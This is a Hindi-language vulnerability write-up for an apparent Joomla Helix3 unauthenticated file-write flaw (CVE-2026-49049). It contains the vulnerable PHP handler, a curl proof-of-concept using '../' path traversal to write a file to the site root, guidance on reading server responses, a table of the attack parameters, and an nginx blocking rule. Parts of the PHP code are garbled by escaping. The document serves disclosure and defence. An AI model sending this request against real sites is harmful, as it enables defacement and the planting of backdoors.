
तकनीकी विश्लेषण और प्रूफ ऑफ कॉन्सेप्ट (PoC) CVE-2026-49049 के लिए, जो Joomla के लिए JoomShaper Helix3 में एक अप्रमाणित मनमाना फ़ाइल लिखने की कमजोरी है, जिसमें शोषण वेक्टर और शमन मार्गदर्शन शामिल है।
रिपॉजिटरी में CVE-2026-49049 नामक गंभीर भेद्यता के लिए सामग्री, तकनीकी विश्लेषण और प्रूफ ऑफ कॉन्सेप्ट (PoC) शामिल हैं, जो Joomla CMS के लिए JoomShaper के Helix3 टेम्पलेट फ्रेमवर्क (संस्करण 1.0 से 3.1.0 तक) में पाई गई थी।
यह भेद्यता स्वचालित बॉटनेट द्वारा जंगली में सक्रिय रूप से शोषित की जा रही है (विशेष रूप से AntonKill डिफेसमेंट अभियान के भाग के रूप में)।
समस्या Joomla के सिस्टम AJAX हैंडलर (com_ajax) में है, जो प्लगइन plg_ajax_helix3 में विधि onAjaxHelix3() को कॉल करता है। घटक डेवलपर्स ने निम्नलिखित प्रदान नहीं किए:
layoutName को संसाधित करते समय पथ फ़िल्टरिंग (पथ ट्रैवर्सल सत्यापन)।public function onAjaxHelix3() {
\$input = Factory::getApplication()->input;
\(data =\)input->post->get('data', [], 'array');
\(action =\)data['action'];
\(layoutName =\)data['layoutName'];
// Отсутствует проверка прав! Отсутствует фильтрация пути!
\$filepath = \(layoutPath .\)layoutName;
switch (\$action) {
case 'save':
// Запись контролируемых данных в произвольную директорию сервера
fwrite(fopen(\(filepath . '.json', 'wb'),\)data['content']);
break;
}
}
भेद्यता के सत्यापन के लिए application/x-www-form-urlencoded सामग्री प्रकार के साथ POST अनुरोध का उपयोग किया जाता है। पैरामीटर पैकेजिंग की यह विधि दोष को प्रदर्शित करने के लिए सबसे प्रभावी है।
curl -sk -X POST \
'https://target.com' \
-d 'data[action]=save&data[layoutName]=../../../../../../../example&data[content]={"probe":"test"}'
पेनिट्रेशन टेस्टिंग के दौरान सर्वर विभिन्न प्रकार की प्रतिक्रियाएँ लौटा सकता है। उनकी व्याख्या महत्वपूर्ण है:
सर्वर प्रतिक्रिया:
{"success":true,"message":null,"messages":null,"data":[]}
व्याख्या: प्लगइन कमजोर है, कोई OS प्रतिबंध नहीं हैं। फ़ाइल साइट रूट में सफलतापूर्वक बनाई गई है और https://target.com पर उपलब्ध है। साइट को तत्काल सफाई और अलगाव की आवश्यकता है।
सर्वर प्रतिक्रिया:
{
"success":false,
"message":"fwrite(): Argument #1 (\$stream) must be of type resource, bool given",
"messages":null,
"data":null
}
व्याख्या: आंशिक सफलता। Helix3 प्लगइन का तर्क टूट गया है - इसने बिना प्रमाणीकरण के डेटा स्वीकार कर लिया और फ़ाइल को लेखन के लिए खोलने का प्रयास किया (fopen). हालाँकि, लिनक्स ऑपरेटिंग सिस्टम ने इस कार्रवाई को अवरुद्ध कर दिया, क्योंकि वेब सर्वर उपयोगकर्ता (जैसे, www-data) के पास साइट रूट में लिखने की अनुमति नहीं है।
सर्वर प्रतिक्रिया: स्थिति 404 Not Found, 403 Forbidden या खाली प्रतिक्रिया []।
व्याख्या: प्लगइन को सुरक्षित संस्करण (3.1.1+) में अपडेट कर दिया गया है, जहां प्रमाणीकरण जांच जोड़ी गई है, या इसे CMS से पूरी तरह से हटा दिया गया है।
plg_ajax_helix3 प्लगइन को पूरी तरह से हटा दें।if (\(request_method = POST) { set\)test "P"; }
if (\$arg_plugin = "helix3") { set \(test "\){test}H"; }
if (\$test = PH) { return 403; }
अस्वीकरण: यह सामग्री केवल शैक्षिक उद्देश्यों और सिस्टम सुरक्षा (पेनिट्रेशन टेस्टिंग) के वैध ऑडिट के लिए प्रदान की गई है। लेखक प्रदान की गई जानकारी के दुरुपयोग के लिए जिम्मेदार नहीं है।
| पैरामीटर | मान / उदाहरण | सर्वर के लिए इसका क्या अर्थ है |
|---|
option | com_ajax | AJAX अनुरोधों को संसाधित करने के लिए Joomla में प्रवेश बिंदु। |
plugin | helix3 | सिस्टम पहचानकर्ता, जो Joomla को कमजोर Helix3 प्लगइन को नियंत्रण सौंपने के लिए मजबूर करता है। |
format | json | इंजन को JSON प्रारूप में प्रतिक्रिया लौटाने का निर्देश देता है। |
-d | data[...] | अनुरोध का मुख्य भाग (फ़ॉर्म डेटा), जो PHP द्वारा स्वचालित रूप से ग्लोबल ऐरे $_POST में व्याख्या किया जाता है। |
data[action] | save | कोड में switch स्विच। प्लगइन को फ़ाइल लेखन (निर्माण) फ़ंक्शन को कॉल करने का निर्देश देता है। |
data[layoutName] | ../../../../../../../example | मुख्य हमला वेक्टर (पथ ट्रैवर्सल)। प्रतीक ../ ऑपरेटिंग सिस्टम को प्लगइन के पृथक फ़ोल्डर से साइट की रूट निर्देशिका में जाने के लिए बाध्य करते हैं। प्लगइन स्वचालित रूप से .json एक्सटेंशन जोड़ देगा। |
data[content] | {"probe":"test"} | पेलोड। पाठ्य डेटा जो बनाई गई फ़ाइल example.json में भौतिक रूप से लिखा जाएगा। वास्तविक हमलों में, यहां विरूपण या बैकडोर का दुर्भावनापूर्ण कोड डाला जाता है। |